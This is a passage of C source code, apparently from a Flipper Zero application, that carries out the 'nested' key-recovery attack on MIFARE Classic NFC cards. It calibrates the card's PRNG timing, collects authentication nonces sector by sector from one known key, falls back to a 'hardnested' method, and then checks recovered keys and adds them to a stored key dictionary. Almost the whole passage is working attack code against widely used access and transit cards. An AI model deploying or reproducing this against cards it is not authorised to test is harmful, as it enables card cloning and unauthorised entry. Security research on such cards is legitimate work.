Storage* storage = furi_record_open(RECORD_STORAGE);
NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
FuriString* folder_path = furi_string_alloc();
FuriHalNfcDevData data = {};
nested_get_data(&data);
MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
uint64_t key = 0; // Found key for attack
uint32_t found_key_type = 0;
uint32_t key_block = 0;
uint32_t sector_count = 0;
uint32_t delay = 0;
uint32_t distance = 0;
uint32_t tries_count = 1;
FURI_LOG_I(TAG, "Running Nested attack");
FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
mifare_nested_worker_write_uid_string(&data, tag_info);
FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
furi_string_free(tag_info);
if(type == MfClassicType4k) {
sector_count = 40;
FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
} else if(type == MfClassicType1k) {
sector_count = 16;
FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
} else { // if(type == MfClassicTypeMini)
sector_count = 5;
FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
}
furi_string_set(folder_path, NESTED_FOLDER);
storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
furi_string_free(folder_path);
if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
!mifare_nested_worker_check_initial_keys(
&nonces, mf_data, 3, sector_count, &key, &key_block, &found_key_type)) {
mifare_nested_worker->callback(
MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
nfc_deactivate();
free(mf_data);
free_nonces(&nonces, sector_count, 3);
return;
}
FURI_LOG_I(
TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
FuriHalNfcTxRxContext tx_rx = {};
uint32_t first_distance = 0;
uint32_t second_distance = 0;
mifare_nested_worker->callback(
MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, false);
if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
first_distance =
nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
}
if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
second_distance =
nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, 10000, true);
}
if(first_distance == 0 && second_distance == 0) {
nfc_deactivate();
free(mf_data);
free_nonces(&nonces, sector_count, 3);
mifare_nested_worker_change_state(
mifare_nested_worker, MifareNestedWorkerStateCollectingHard);
mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
return;
}
if(first_distance < second_distance - 100 && second_distance > 100) {
FURI_LOG_E(
TAG,
"Discovered tag with PRNG that depends on time. PRNG values: %lu, %lu",
first_distance,
second_distance);
struct distance_info info =
nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key);
if(info.max_prng - info.min_prng > 150) {
FURI_LOG_W(
TAG,
"PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method",
info.max_prng,
info.min_prng,
info.max_prng - info.min_prng);
delay = 1;
} else {
FURI_LOG_I(
TAG,
"PRNG is stable, using method without delay! (May be false positive, still will collect x3 times)");
distance =
nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
delay = 2;
tries_count = 3;
}
}
if(distance == 0 || delay == 1) {
bool failed = false;
// Tag need delay or unpredictable PRNG
FURI_LOG_W(TAG, "Can't determine distance, trying to find timing...");
mifare_nested_worker->callback(
MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context);
delay = mifare_nested_worker_predict_delay(
&tx_rx, key_block, found_key_type, key, 0, mifare_nested_worker);
if(delay == 1) {
FURI_LOG_E(TAG, "Can't determine delay");
// Check that we didn't lost tag
FuriHalNfcDevData lost_tag_data = {};
nested_get_data(&lost_tag_data);
if(lost_tag_data.uid_len == 0) {
// We lost it.
mifare_nested_worker->callback(
MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting &&
lost_tag_data.cuid != data.cuid) {
furi_delay_ms(250);
nested_get_data(&lost_tag_data);
}
mifare_nested_worker->callback(
MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
continue;
}
failed = true;
}
if(delay == 2) {
FURI_LOG_E(TAG, "Can't determine delay in 25 tries, fallback to hardnested");
nfc_deactivate();
free(mf_data);
free_nonces(&nonces, sector_count, 3);
mifare_nested_worker_change_state(
mifare_nested_worker, MifareNestedWorkerStateCollectingHard);
mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
return;
}
if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) {
distance = nested_calibrate_distance(
&tx_rx, key_block, found_key_type, key, delay, false);
}
if(distance == 0 && !failed) {
FURI_LOG_E(TAG, "Found delay, but can't find distance");
failed = true;
}
if(failed) {
nfc_deactivate();
mifare_nested_worker->callback(
MifareNestedWorkerEventAttackFailed, mifare_nested_worker->context);
free(mf_data);
free_nonces(&nonces, sector_count, 3);
return;
}
tries_count = 3;
}
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(
MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
for(uint8_t tries = 0; tries < tries_count; tries++) {
for(uint8_t sector = 0; sector < sector_count; sector++) {
for(uint8_t key_type = 0; key_type < 2; key_type++) {
Nonces* info = nonces.nonces[sector][key_type][tries];
if(info->collected) {
FURI_LOG_I(
TAG,
"Skipping sector %u, block %u, key_type: %u as we already have a key",
sector,
mifare_nested_worker_get_block_by_sector(sector),
key_type);
info->skipped = true;
nonces.nonces[sector][key_type][tries] = info;
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(
MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
continue;
}
if(!nested_check_block(
&tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
FURI_LOG_E(
TAG,
"Skipping sector %u, block %u, key_type: %u as we can't auth on it",
sector,
mifare_nested_worker_get_block_by_sector(sector),
key_type);
info->skipped = true;
nonces.nonces[sector][key_type][0] = info;
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(
MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
continue;
}
while(!info->collected) {
if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
break;
}
struct nonce_info result = nested_attack(
&tx_rx,
key_block,
found_key_type,
mifare_nested_worker_get_block_by_sector(sector),
key_type,
key,
distance,
delay);
if(result.full) {
FURI_LOG_I(
TAG,
"Accured nonces for sector %u, block %u, key_type: %u",
sector,
mifare_nested_worker_get_block_by_sector(sector),
key_type);
info = nonces.nonces[sector][key_type][tries];
info->collected = true;
info->skipped = false;
memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
memcpy(&info->parity, result.parity, sizeof(result.parity));
nonces.nonces[sector][key_type][tries] = info;
nonces.cuid = result.cuid;
nonces.sector_count = sector_count;
nonces.tries = tries_count;
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(
MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
break;
} else {
mifare_nested_worker->callback(
MifareNestedWorkerEventNoTagDetected,
mifare_nested_worker->context);
}
}
}
}
}
break;
}
SaveNoncesResult_t* result = mifare_nested_worker_write_nonces(
&data, storage, &nonces, tries_count, 3, sector_count, delay, distance);
free(mf_data);
if(result->saved) {
mifare_nested_worker->callback(
MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
} else {
mifare_nested_worker->context->save_state = result;
mifare_nested_worker->callback(
MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
}
nfc_deactivate();
}
bool* mifare_nested_worker_check_keys_exists(
Storage* storage,
char* path,
uint64_t* keys,
uint32_t key_count,
MifareNestedWorker* mifare_nested_worker) {
bool* old_keys = malloc(sizeof(bool) * key_count);
Stream* file_stream = file_stream_alloc(storage);
file_stream_open(file_stream, path, FSAM_READ, FSOM_OPEN_ALWAYS);
FuriString* key_strings[key_count];
for(uint32_t i = 0; i < key_count; i++) {
old_keys[i] = false;
key_strings[i] = furi_string_alloc_printf("%012llX\n", keys[i]);
}
while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
FuriString* next_line = furi_string_alloc();
if(!stream_read_line(file_stream, next_line)) {
break;
}
for(uint32_t i = 0; i < key_count; i++) {
if(keys[i] == (uint64_t)-1) continue;
if(furi_string_cmp(next_line, key_strings[i]) == 0) {
old_keys[i] = true;
}
}
furi_string_free(next_line);
}
for(uint32_t i = 0; i < key_count; i++) {
furi_string_free(key_strings[i]);
}
file_stream_close(file_stream);
free(file_stream);
return old_keys;
}
void mifare_nested_worker_write_key(Storage* storage, FuriString* key) {
Stream* file_stream = file_stream_alloc(storage);
file_stream_open(
file_stream,
EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
FSAM_READ_WRITE,
FSOM_OPEN_APPEND);
stream_write_string(file_stream, key);
file_stream_close(file_stream);
}
void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker) {
KeyInfo_t* key_info = mifare_nested_worker->context->keys;
Storage* storage = furi_record_open(RECORD_STORAGE);
Stream* file_stream = file_stream_alloc(storage);
FuriString* next_line = furi_string_alloc();
FuriString* path = furi_string_alloc();
FuriHalNfcDevData data = {};
nested_get_data(&data);
MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
NestedCheckKeyResult result = NestedCheckKeyNoTag;
FuriHalNfcTxRxContext tx_rx = {};
uint32_t key_count = 0;
uint32_t sector_key_count = 0;
uint64_t keys[80];
bool found_keys[2][40];
bool unique_keys[2][40];
uint32_t sector_count = 0;
if(type == MfClassicType4k) {
sector_count = 40;
FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
} else if(type == MfClassicType1k) {
sector_count = 16;
FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
} else { // if(type == MfClassicTypeMini)
sector_count = 5;
FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
}
uint32_t keys_count = sector_count * 2;
for(uint8_t key = 0; key < 2; key++) {
for(uint8_t i = 0; i < sector_count; i++) {
found_keys[key][i] = false;
unique_keys[key][i] = false;
}
}
for(uint8_t i = 0; i < keys_count; i++) {
keys[i] = -1;
}
mifare_nested_worker_get_found_keys_file_path(&data, path);
if(!file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
FURI_LOG_E(TAG, "Can't open %s", furi_string_get_cstr(path));
file_stream_close(file_stream);
mifare_nested_worker_get_nonces_file_path(&data, path);
if(!file_stream_open(
file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
mifare_nested_worker->callback(
MifareNestedWorkerEventNeedCollection, mifare_nested_worker->context);
} else {
mifare_nested_worker->callback(
MifareNestedWorkerEventNeedKeyRecovery, mifare_nested_worker->context);
}
file_stream_close(file_stream);
free(file_stream);
furi_string_free(path);
furi_string_free(next_line);
furi_record_close(RECORD_STORAGE);
return;
};
while(true) {
if(!stream_read_line(file_stream, next_line)) {
break;
}
if(furi_string_start_with_str(next_line, "Key")) {
uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
atoi((char[]){furi_string_get_char(next_line, 14)});
if(!unique_keys[key_type][sector]) {
unique_keys[key_type][sector] = true;
sector_key_count++;
}
}
key_count++;
}
stream_rewind(file_stream);
key_info->total_keys = key_count;
key_info->sector_keys = sector_key_count;
while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
if(!stream_read_line(file_stream, next_line)) {
break;
}
if(furi_string_start_with_str(next_line, "Key")) {
// Key X sector XX: XX XX XX XX XX XX
// 0000000000111111111122222222223333
// 0123456789012345678901234567890123
uint8_t keyChar[6];
uint8_t count = 0;
uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
atoi((char[]){furi_string_get_char(next_line, 14)});
for(uint8_t i = 17; i < 33; i += 3) {
hex_char_to_uint8(
furi_string_get_char(next_line, i),
furi_string_get_char(next_line, i + 1),
&keyChar[count]);
count++;
}
uint64_t key = nfc_util_bytes2num(keyChar, 6);
key_info->checked_keys++;
if(found_keys[key_type][sector]) {
mifare_nested_worker->callback(
MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
continue;
}
while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
result = nested_check_key(
&tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type, key);
if(result == NestedCheckKeyNoTag) {
mifare_nested_worker->callback(
MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
furi_delay_ms(250);
} else {
break;
}
}
if(result == NestedCheckKeyValid) {
FURI_LOG_I(
TAG, "Found valid %c key for sector %u: %012llX", key_type, sector, key);
bool exists = false;
for(uint8_t i = 0; i < keys_count; i++) {
if(keys[i] == key) {
exists = true;
}
}
if(!exists) {
keys[key_info->found_keys] = key;
}
key_info->found_keys++;
found_keys[key_type][sector] = true;
}
mifare_nested_worker->callback(
MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
}
}
furi_string_free(next_line);
file_stream_close(file_stream);
free(file_stream);
mifare_nested_worker->callback(
MifareNestedWorkerEventProcessingKeys, mifare_nested_worker->context);
bool* old_keys = mifare_nested_worker_check_keys_exists(
storage,
EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
keys,
keys_count,
mifare_nested_worker);
for(uint8_t i = 0; i < keys_count; i++) {
if(old_keys[i]) {
keys[i] = -1;
}
}
old_keys = mifare_nested_worker_check_keys_exists(
storage,
EXT_PATH("nfc/assets/mf_classic_dict.nfc"),
keys,
keys_count,
mifare_nested_worker);
for(uint8_t i = 0; i < keys_count; i++) {
if(old_keys[i]) {
keys[i] = -1;
}
}
for(uint8_t i = 0; i < keys_count; i++) {
if(keys[i] == (uint64_t)-1) continue;
FuriString* key_string = furi_string_alloc_printf("%012llX\n", keys[i]);
mifare_nested_worker_write_key(storage, key_string);
FURI_LOG_I(TAG, "Added new key: %s", furi_string_get_cstr(key_string));
key_info->added_keys++;
furi_string_free(key_string);
}
if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
FURI_LOG_E(TAG, "Failed to remove .keys file");
}
furi_record_close(RECORD_STORAGE);
furi_string_free(path);
mifare_nested_worker->callback(
MifareNestedWorkerEventKeysFound, mifare_nested_worker->context);
return;
}
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